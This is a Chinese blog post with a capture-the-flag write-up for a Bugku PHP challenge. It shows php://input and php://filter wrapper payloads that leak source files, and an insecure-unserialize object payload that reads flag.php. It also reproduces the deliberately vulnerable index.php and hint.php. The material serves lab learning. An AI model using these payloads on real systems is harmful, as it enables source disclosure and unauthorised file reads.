• 记bugku的——“welcome to bugkuctf”


    今天终于拾起来ctf的比赛了,开始了练习之旅。今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单。。。所以把自己的思路放上来。

    题目源头:http://120.24.86.145:8006/test1/

     题目打开后得到如下的信息,查看源码后发现

    很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。

    开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件

    (1)这里isset的意思是查看变量是否存在,即user不能为空。

    (2)

    file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

    (3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。

    知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?

    这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到    “php://input”协议。大致的意思是让  txt=php://input ,之后在post过去一个字符串

    (当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取)类似(PS:此时payload还不完整还不能执行哈)

    简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了

    之后我们得到了

    此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter

    这里放上一个写的详细的blog(关于filter的)http://blog.csdn.net/wy_97/article/details/77431111

    即  txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)得到

    解码得到:

    1. #hint.php  
    2.   
    3. <?php    
    4.     
    5. class Flag{//flag.php    
    6.     public $file;    
    7.     public function __tostring(){    
    8.         if(isset($this->file)){    
    9.             echo file_get_contents($this->file);   
    10.             echo "<br>";  
    11.         return ("good");  
    12.         }    
    13.     }    
    14. }    
    15. ?>    

    之后可以继续利用伪协议读取一下index.php源码

    1. #index.php  
    2. <?php    
    3. $txt = $_GET["txt"];    
    4. $file = $_GET["file"];    
    5. $password = $_GET["password"];    
    6.     
    7. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){    
    8.     echo "hello friend!<br>";    
    9.     if(preg_match("/flag/",$file)){   
    10.         echo "不能现在就给你flag哦";  
    11.         exit();    
    12.     }else{    
    13.         include($file);     
    14.         $password = unserialize($password);    
    15.         echo $password;    
    16.     }    
    17. }else{    
    18.     echo "you are not the number of bugku ! ";    
    19. }    
    20.     
    21. ?>    
    22.     
    23. <!--    
    24. $user = $_GET["txt"];    
    25. $file = $_GET["file"];    
    26. $pass = $_GET["password"];    
    27.     
    28. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){    
    29.     echo "hello admin!<br>";    
    30.     include($file); //hint.php    
    31. }else{    
    32.     echo "you are not admin ! ";    
    33. }    
    34.  -->    

    在index里我们能读出来:

    (1)在hint.php中我们看到了,所以我们把index.php改成flag.php看看会有什么结果,发现

    这个乱码在index.php中我们发现是

    所以我们不能直接读flag.php。在index中我们看到这个意思是file中如果包含‘flag’,那么就会给你退出。所以我们要想其他办法读flag.php

    (2)我们载去找有用的信息,发现这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。而我们根据上面的hint.php发现,

    1. #hint.php  
    2.   
    3. <?php    
    4.     
    5. class Flag{//flag.php    
    6.     public $file;    
    7.     public function __tostring(){    
    8.         if(isset($this->file)){    
    9.             echo file_get_contents($this->file);   
    10.             echo "<br>";  
    11.         return ("good");  
    12.         }    
    13.     }    
    14. }    
    15. ?>    

    我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

    这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果

    1. <?php  
    2.     class Flag{
    3.     public $file;    
    4.     }    
    5.   
    6.     $a = new Flag();  
    7.     $a->file = "flag.php";  
    8.     $a = serialize($a);  
    9.     print_r($a);  
    10. ?>  

     得到:  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  传入

     得到

     

     至此这道题目结束。不过应该会有同学问为何payload中有index.php,,我觉得index.php是默认的页面,不然你没有办法传给php页面参数,所以应该属于一种套路吧,记住就好。。。。

    作为菜鸡,还要继续努力啊:)

  • 相关阅读:
    2014.3.3 图像旋转方法
    2014.2.23 datagridview显示图片的方法
    2016.10.8 文件读取和两种模式写入
    2016.8.11 DataTable合并及排除重复方法
    2016.8.17服务器端数据库用户导入导出方法 expdp和impdp
    2016.8.11 禁用360进程防护功能
    2016.7.27 VS搜索正则表达式,在UltraEdit中可选用Perl正则引擎,按C#语法搜索
    2016.6.18主窗体、子窗体InitializeComponent()事件、Load事件发生顺序以及SeleChanged事件的发生
    delphi之猥琐的webserver实现
    HTTP协议中GET、POST和HEAD的介绍
  • 原文地址:https://www.cnblogs.com/Pinging/p/8278168.html
Copyright © 2020-2023  润新知